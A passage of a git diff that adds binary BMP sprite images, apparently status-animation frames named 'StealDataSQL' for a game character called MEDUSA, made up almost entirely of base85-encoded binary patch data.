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 YtPebSc>yeE$j3Qj^sMsP`O>BT1#fPDX#fBK literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL7.bmp b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL7.bmp new file mode 100644 index 0000000000000000000000000000000000000000..a47321891dcb284824ca1c75794c9a9b96e5431e GIT binary patch literal 18462 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 KOgdk=@_zy0siRl` literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL8.bmp b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL8.bmp new file mode 100644 index 0000000000000000000000000000000000000000..b68803ad8ce1bbc8dceca07f4140ba2d711b707a GIT binary patch literal 18462 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 